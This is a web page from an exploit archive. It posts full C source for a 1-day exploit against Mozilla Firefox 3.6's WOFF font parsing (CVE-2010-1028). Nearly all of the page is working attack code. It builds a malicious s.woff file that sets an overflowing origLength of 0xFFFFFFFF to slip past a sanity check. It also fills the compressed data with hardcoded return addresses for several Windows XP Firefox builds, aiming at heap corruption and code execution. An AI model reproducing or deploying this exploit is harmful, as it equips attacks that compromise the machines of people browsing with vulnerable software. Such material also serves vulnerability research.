Home / exploitsPDF  

Mozilla Firefox 3.6 Integer Overflow Exploit

Posted on 20 August 2013

<pre>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;zlib.h&gt; /* x90c WOFF 1day exploit (MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit) CVE-ID: CVE-2010-1028 Affacted Products: - Mozilla Firefox 3.6 ( Gecko 1.9.2 ) - Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released ) - Mozilla Firefox 3.6 RC1, RC2 Fixed in: - Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed ) security bug credit: Evgeny Legerov &lt; intevydis.com &gt; Timeline: 2010.02.01 - Evengy Legerov Initial discovered and shiped it into &quot;Immunity 3rd Party Product VulnDisco 9.0&quot; https://forum.immunityinc.com/board/thread/1161/vulndisco-9-0/ 2010.02.18 - without reporter, it self analyzed and contact to mozilla and secunia before advisory reporting http://secunia.com/advisories/38608 2010.03.19 - CVE registered http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1028 2010.03.22 - Mozilla advisory report http://www.mozilla.org/security/announce/2010/mfsa2010-08.html 2010.04.01 - x90c exploit (x90c.org) Compile: [root@centos5 woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz rebel: greets to my old l33t hacker dude in sweden ... BSDaemon: and Invitation of l33t dude for exploit share #phrack@efnet, #social@overthewire x90c */ typedef unsigned int UInt32; typedef unsigned short UInt16; /* for above two types, some WOFF header struct uses big-endian byte order. */ typedef struct { UInt32 signature; UInt32 flavor; UInt32 length; UInt16 numTables; UInt16 reserved; UInt32 totalSfntSize; UInt16 majorVersion; UInt16 minorVersion; UInt32 metaOffset; UInt32 metaLength; UInt32 metaOrigLength; UInt32 privOffset; UInt32 privLength; } WOFF_HEADER; typedef struct { UInt32 tag; UInt32 offset; UInt32 compLength; UInt32 origLength; UInt32 origChecksum; } WOFF_DIRECTORY; #define FLAVOR_TRUETYPE_FONT 0x0001000 #define FLAVOR_CFF_FONT 0x4F54544F struct ff_version { int num; char *v_nm; unsigned long addr; }; struct ff_version plat[] = { { 0, &quot;Win XP SP3 ko - FF 3.6&quot;, 0x004E18ED }, { 1, &quot;Win XP SP3 ko - FF 3.6 Beta1&quot;, 0x004E17BD }, { 2, &quot;Win XP SP3 ko - FF 3.6 Beta3&quot;, 0x004E193D }, { 3, &quot;Win XP SP3 ko - FF 3.6 Beta4&quot;, 0x004E20FD }, { 4, &quot;Win XP SP3 ko - FF 3.6 Beta5&quot;, 0x600A225D }, { 5, &quot;Win XP SP3 ko - FF 3.6 RC1&quot;, 0x004E17BD }, { 6, &quot;Win XP SP3 ko - FF 3.6 RC2&quot;, 0x004E18ED }, { 0x00, NULL, 0x0 } }; void usage(char *f_nm) { int i = 0; fprintf(stdout, &quot; Usage: %s [Target ID] &quot;, f_nm); for(i = 0; plat[i].v_nm != NULL; i++) fprintf(stdout, &quot; {%d} %s. &quot;, (plat[i].num), (plat[i].v_nm)); exit(-1); } int main(int argc, char *argv[]) { WOFF_HEADER woff_header; WOFF_DIRECTORY woff_dir[1]; FILE *fp; char dataBlock[1024]; char compressed_dataBlock[1024]; char de_buf[1024]; int total_bytes = 0, total_dataBlock = 0; unsigned long destLen = 1024; unsigned long de_Len = 1024; unsigned long i = 0; unsigned long addr_saved_ret_val = 0; int ret = 0; int n = 0; if(argc &lt; 2) usage(argv[0]); n = atoi(argv[1]); if(n &lt; 0 || n &gt; 6) { fprintf(stderr, &quot; Target number range is 0-6! &quot;); usage(argv[0]); } printf(&quot; #### x90c WOFF exploit #### &quot;); printf(&quot; Target: %d - %s &quot;, (plat[n].num), (plat[n].v_nm)); // WOFF HEADER woff_header.signature = 0x46464F77; // 'wOFF' ( L.E ) woff_header.flavor = FLAVOR_TRUETYPE_FONT; // sfnt version ( B.E ) woff_header.length = 0x00000000; // woff file total length ( B.E ) woff_header.numTables = 0x0100; // 0x1 - woff dir entry length ( B.E ) woff_header.reserved = 0x0000; // res bit ( all zero ) // totalSFntSize value will bypass validation condition after integer overflow woff_header.totalSfntSize = 0x1C000000; // 0x0000001C ( B.E ) woff_header.majorVersion = 0x0000; // major version woff_header.minorVersion = 0x0000; // minor version woff_header.metaOffset = 0x00000000; // meta data block offset ( not used ) woff_header.metaLength = 0x00000000; // meta data block length ( not used ) woff_header.metaOrigLength = 0x00000000; // meta data block before-compresed length ( not used ) woff_header.privOffset = 0x00000000; // Private data block offset ( not used ) woff_header.privLength = 0x00000000; // Private data block length woff_dir[0].tag = 0x54444245; // 'EBDT' ( B.E ) woff_dir[0].offset = 0x40000000; // 0x00000040 ( B.E ) woff_dir[0].compLength = 0x00000000; // ( B.E ) // to trigger field bit. // 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow. // 1) calculation result is 0, it's bypass to sanityCheck() function // 2) passed very long length into zlib Decompressor, it's trigger memory corruption! // 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck() // you can use only the value of 0xFFFFFFFF ( integer overflow!!! ) // you can't using other values to bypass validation condition woff_dir[0].origLength = 0xFFFFFFFF; // 0xFFFFFFFF ( B.E ) printf(&quot;WOFF_HEADER [ %d bytes ] &quot;, sizeof(WOFF_HEADER)); printf(&quot;WOFF_DIRECTORY [ %d bytes ] &quot;, sizeof(WOFF_DIRECTORY)); // to compress data block // [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ] // ...JIT spray stuff... addr_saved_ret_val = plat[n].addr; addr_saved_ret_val += 0x8; // If add 8bytes it reduced reference error occurs for(i = 0; i &lt; sizeof(dataBlock); i+=4) // 0x004E18F5 { dataBlock[i+0] = (addr_saved_ret_val &amp; 0x000000ff); dataBlock[i+1] = (addr_saved_ret_val &amp; 0x0000ff00) &gt;&gt; 8; dataBlock[i+2] = (addr_saved_ret_val &amp; 0x00ff0000) &gt;&gt; 16; dataBlock[i+3] = (addr_saved_ret_val &amp; 0xff000000) &gt;&gt; 24; } // compress dataBlock with zlib's compress() if(compress((Bytef *)compressed_dataBlock, (uLongf *)&amp;destLen, (Bytef *)dataBlock, (uLong)(sizeof(dataBlock)) ) != Z_OK) { fprintf(stderr, &quot;Zlib compress failed! &quot;); exit(-1); } printf(&quot; Zlib compress(dataBlock) ... &quot;); printf(&quot;DataBlock [ %u bytes ] &quot;, sizeof(dataBlock)); printf(&quot;Compressed DataBlock [ %u bytes ] &quot;, destLen); printf(&quot;[ Z_OK ] &quot;); total_bytes = sizeof(WOFF_HEADER) + sizeof(WOFF_DIRECTORY) + destLen; total_dataBlock = destLen; printf(&quot;Total WOFF File Size: %d bytes &quot;, total_bytes); // byte order change to total_bytes, total_dataBlock ( L.E into B.E ) total_bytes = ((total_bytes &amp; 0xff000000) &gt;&gt; 24) | ((total_bytes &amp; 0x00ff0000) &gt;&gt; 8) | ((total_bytes &amp; 0x0000ff00) &lt;&lt; 8) | ((total_bytes &amp; 0x000000ff) &lt;&lt; 24); woff_header.length = total_bytes; total_dataBlock = ((total_dataBlock &amp; 0xff000000) &gt;&gt; 24) | ((total_dataBlock &amp; 0x00ff0000) &gt;&gt; 8) | ((total_dataBlock &amp; 0x0000ff00) &lt;&lt; 8) | ((total_dataBlock &amp; 0x000000ff) &lt;&lt; 24); woff_dir[0].compLength = total_dataBlock; // create attack code data if((fp = fopen(&quot;s.woff&quot;, &quot;wb&quot;)) &lt; 0) { fprintf(stderr, &quot;that file to create open failed &quot;); exit(-2); } // setup WOFF data store fwrite(&amp;woff_header, 1, sizeof(woff_header), fp); fwrite(&amp;woff_dir[0], 1, sizeof(woff_dir[0]), fp); fwrite(&amp;compressed_dataBlock, 1, destLen, fp); fclose(fp); // zlib extract test ret = uncompress(de_buf, &amp;de_Len, compressed_dataBlock, destLen); if(ret != Z_OK) { switch(ret) { case Z_MEM_ERROR: printf(&quot;Z_MEM_ERROR &quot;); break; case Z_BUF_ERROR: printf(&quot;Z_BUF_ERROR &quot;); break; case Z_DATA_ERROR: printf(&quot;Z_DATA_ERROR &quot;); break; } fprintf(stderr, &quot;Zlib uncompress test failed! &quot;); unlink(&quot;./s.woff&quot;); exit(-3); } printf(&quot; Zlib uncompress test(compressed_dataBlock) ... &quot;); printf(&quot;[ Z_OK ] &quot;); return 0; } /* eof */ </pre>

 

TOP